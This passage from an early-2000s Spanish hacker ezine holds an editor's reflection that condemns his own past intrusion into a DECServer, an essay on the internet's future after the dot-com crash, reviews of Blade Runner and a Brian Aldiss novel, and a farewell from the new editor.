Quienes son entonces esas miles de personas que "poblan el cyberespacio":
Simple,los fariseos.
Ya que habla tanto,que se considera el autor de este texto?
Como uds. pueden ver,en el indice de este numero de FYE, yo escribi un
articulo sobre los DECServers. Obviamente yo no tengo un DECServer propio,
irrumpi en uno que no es mio.Es de una institucion.Desde mi actual punto de
vista,ese fue un acto reprobable,sin embargo lo hice.Eso se puede explicar ya
que hoy 1/1/2001,fecha en que escribo este texto,mi forma de pensar respecto
a eso que se llama "hacking" ha cambiado bastante en relacion a mayo del 2000
que es el tiempo aproximadamente en que escribi ese articulo.Y digo,mi
forma de pensar respecto al hacking ha cambiado,por razones bastante fuertes.
Es por eso que he delegado el cargo de editor de FYE a NDR113.Creo que el lo
hara bastante bien mientras yo me encuentre alejado de este proyecto que ya
tiene un a~o de vida.Quiero a la vez indicar que el estilo de la ezine
cambiara y mucho.Ya no nos dedicaremos a hablar solo sobre temas "underground"
,simplemente porque el underground no existe. Aprendo mucho mas leyendo
un manual completisimo escrito en una Universidad que leyendo una ezine
cualquiera que sea.
La mision del dia es salir del IRC. Atrevesanse a dejar el computador
tan solo por un momento.
Creo que ya ha quedado claro,que si quieres ser un hacker,debes saber
muchas cosas,no solo pavonearte de ese saber.
Pero importa la opinion de ThEye en cuanto a quienes son los hackers?
Creo que no.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
<=--<<< Hacia donde vamos? >>>---------------------------[ by NDR113 ]------=>
Hacia donde va el desarrollo tecnologico? En estos momentos internet es el
titular. Es internet el futuro? Depende de que es lo que entendamos por futuro.
Obviamente internet tendra un papel preponderante en el desarollo futuro, mas no
sera el personaje principal en la escena del siglo que recien comienza.
Muchos se lanzaron con un dominio pegajoso y una web atractiva, pero sin un
modelo economico o siquiera un estudio serio de mercado, resultado?
Este ao el mercado de capitales vio una fuerte caida en el indice tecnologico
del NASDAQ. Para los seguidores del movimiento .com esta baja fue una depresion
momentanea mientras q para algunos analistas fue una estructuracion del mercado
de acuerdo a las valorizaciones verdaderas. El asunto es que vivimos en el mismo
capitalismo de siempre y las empresas q no rindan ganacias simplemente mueren.
El caracter ciclico de la historia es inegable, y nos permite situarnos en el
marco del presente para proyectarnos hacia el futuro. Esto nos lleva a
retroceder en el tiempo a principios de siglo y ver como en la naciente
industria automovilistica existian cientos de compaias, hoy, decenas.
Aun cuando la naturaleza del mercado de internet es completamente distinta, el
mecanimo economico sigue siendo el libre mercado, por lo tanto es de esperar una
fuerte depresion en el numero de empresas que finalmente lograran enraizarce en
la red.
Perdera entonces nuestra red el caracter de zona libre que tenia en sus
inicios? El comercio tomara las riendas de internet y su destino se subyugara a
la oferta y demanda? Esperemos q el medio que nacio libre siga libre, y no frene
su caracteristico dinamismo ante una burocracia industrial y mercantilista.
Pasado el proceso de infancia que estamos viviendo, la red y su extension seran
la base de gran parte de la vida de las proximas decadas. Pero internet no sera
el protagonista que conocemos hoy; las webs no son el futuro, por el contrario
son aun una forma muy primitiva de entregar informacion. El protagonista sera el
flujo de datos obicuo, e internet sera simplemente el medio de transporte que
nadie vera u oira.
Perfilarse al futuro es por ejemplo mirar el trabajo q realizan en las areas de
investigacion y desarrollo del Carnegie Mellon o el MIT, en cuyos departamenos
de Ciencias de la Computacion simplemente no hay computadores visibles. Alli el
informacion es la infrestructura y el hardware un protocolo.
Mirar hacia adelante es entender que dentro del flujo de informacion no solo
incluimos la entrega de noticias, entretencion o negocios, hablamos de nuestra
propia vida, del cambio de costumbres comunicacionales, de la manera en que nos
relacionamos en un mundo en que se debe ser local pensando de manera global.
Hablamos de una red por la que no se envian bytes, si no mas bien experiencias.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
<=--<<< Must See, Must Read >>>----------------------------[ by 350cc ]------=>
- Blade Runner [See It!]
"... and all those moments will be lost in time like... tears in the rain..."
"... give me more life, father..."
"... wake up, time to die!..."
Este film de 1982, dirijido por Ridley Scott es uno de los mas grandes clasicos
de la Ciencia Ficcion, y del cine en general, por su tematica visionaria, las
desulmbrantes caracterizaciones y el meticuloso trabajo de ambientacion y
fotografia, que convirtio a esta pelicula en una obra de arte visual.
Se desarrolla en Los Angeles del siglo 21, en un mundo sobrepoblado en que la
raza humana comienza a colonizar otros mundos con la ayuda de androides
geneticamente diseados para resistir las adversidades de los mundos exteriores.
El film se inicia con el motin y escape de un grupo de androides rebeldes, que
buscan en la tierra a su creador para asi extender su periodo de vida.
En el intertanto, Rick Deckard -interpretado por Harrison Ford- debe buscarlos
y "retirarlos". En el desarrollo de esta historia encontramos un antiheroe,
el agente Deckard, que perseguir a seres cuyo unica necesidad es vivir y que
pese a ser superiores en intelecto y fuerza a sus creadores son considerados
no mas que creaciones, nada mas que esclavos.
Asi se desarolla una persecucion detectivesca en medio de una ambiente de
decadente belleza y efectos especiales espectaculares, coronado por una
fotografia simplemente magistral en la que cada sombra, fuente de luz,
perspectiva y escenario son detalles completamente simbolicos y
representativos que aportan al entendimiento de las situaciones en las que
desenvuelve el film.
En la trama nos vemos obligados a preguntarnos que es lo que nos hace humano,
y en que recide el significado de aquello que llamamos alma. Tambien se nos
enfrenta a el drama de Edipo, personificado en la raza humana y nuestras
invenciones: seremos eliminados por nuestro propio ingenio?
Las excelentes actuaciones son acompaadas por el brillante texto adaptado del
libro "Do Androids Dream of Electric Sheeps" de Phillip K. Dick, que junto con
una ambientacion estilo artdeco-noir y una genial banda sonora de Vangelis,
hacen de este film un regocigo para los ojos, la mente y los oidos; explicando
por si mismo por que se ha transformado en una obra de culto.
Finalmente, si se deciden a ver Blade Runner noten que existen varias versiones
disponibles, resultado de las continuas ediciones que se le dio al film a
consecuencia de su comlejidad. La mas recomendable es la edicion hecha por el
mismo director, conocida como "Director's Cut", la cual fue reelanzada a video
en los 90. Ademas, si pueden veanla en VHS Widescreen -es decir, en la version
no ajustada al formato de television- o en DVD.
BLADE RUNNER
Ao 1982
Formato VHS/DVD
Direccion Ridle Scott
Actuaciones de Harrison Ford
Rutger Hauer
Sean Yung
Edward James Olmos
Daryl Hannah
- The Galaxies like grains of sand [Read It!]
"El pasado es una sustancia solida y vidriosa; entonces lo llamamos historia.
Entonces no puede mostrarnos nada salvo nuestro rostro solemne; es un espejo
traicionero que solo refleja nuestras limitadas verdades. A tal punto forma
parte del hombre que la objetividad es imposible, estan neutral que parece
hostil"
Asi comienza este libro del britanico Brain Aldiss, conocido por la saga de
"Helliconia". En "Las galaxias como granos de arena" recorremos las historia de
la humanidad a traves de una serie de historias fragmentarias y particulares
q nos hablan de nuestra naturaleza, nuestros temores, retrocesos y avances a
traves de millones de aos, comenzando desde un futuro cercano hasta los
ultimos aos del universo.Pese a lo epico de su extension, los motivaciones
de los personajes son completamente intimas.
La novela se desarolla en forma de relatos, que nos muestras distintas
etapas en el desarollo de nuestra especie, pasando por guerras atomicas,
hambrunas, control genetico, robotizacion total y finalmente el reemplazo del
ser humano y el orden conocido; con lo que Aldiss nos brinda una
vision extraamente reveladora y escalofriante, pero sobre todo poetica y
bella de la escencia humana y su futuro.
Un libro muy recomendable para aquellos q disfrutan de la ciencia ficcion
suave, no rigurosamente cientifica y mas bien fanstastica y metaforica; similar
a lo publicada por autores como Bradbury.
Galaxias como granos de arena
Autor: Brain Aldiss
Editorial: Plaza & Janes
ISBN: 84-01-54100-X
Observ.: Prologo por
Robert Silverberg
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
<=--<<< Shutdown >>>--------------------------------------[ by NDR113 ]------=>
Bueno, creo que esto es el final. Quisera despedirme y darle las gracias a
quienes lean la ezine, por soportar retraso tras retraso. Tambien quiero llamar
a las demas ezines del medio, a los miembros de ellas que lean nuestra
publicacion que nos comenten -sea a traves de su ezine o en forma personal- que
les ha parecido este numero, lo digo por que es importante recibir criticas
para mejorar y saber realmente si se esta tomando el buen camino. Quiseria
escuchar opiniones sean positivas o negativas sobre lo que estamos tratando
de hacer en FYE, y los cambios de fondo q intentamos hacer en la ezine y mas
que nada, en nostros mismos y la escena.
Creo que hace falta mas intercambio entre las publicaciones, mas critica,
comentario y discucion, y no solo menciones condecendientes a los demas, si
algo nos parece bien digamoslo, si algo nos parece errado hagamos escuchar
nuestra voz. Se despide hasta FYE5,
NDR113
Editor
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Ahora puede apagar su equipo
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|